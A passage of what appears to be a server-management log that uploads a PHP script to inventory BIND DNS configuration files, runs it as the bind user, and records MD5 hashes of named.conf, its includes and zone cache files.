			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:44:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp340489; rm /tmp/pkp340489'

2026-05-15 17:44:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:50:22: Establishing a connection
2026-05-15 17:50:22: 

PUT: /tmp/pkp680479

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:50:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp680479; rm /tmp/pkp680479'

2026-05-15 17:50:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
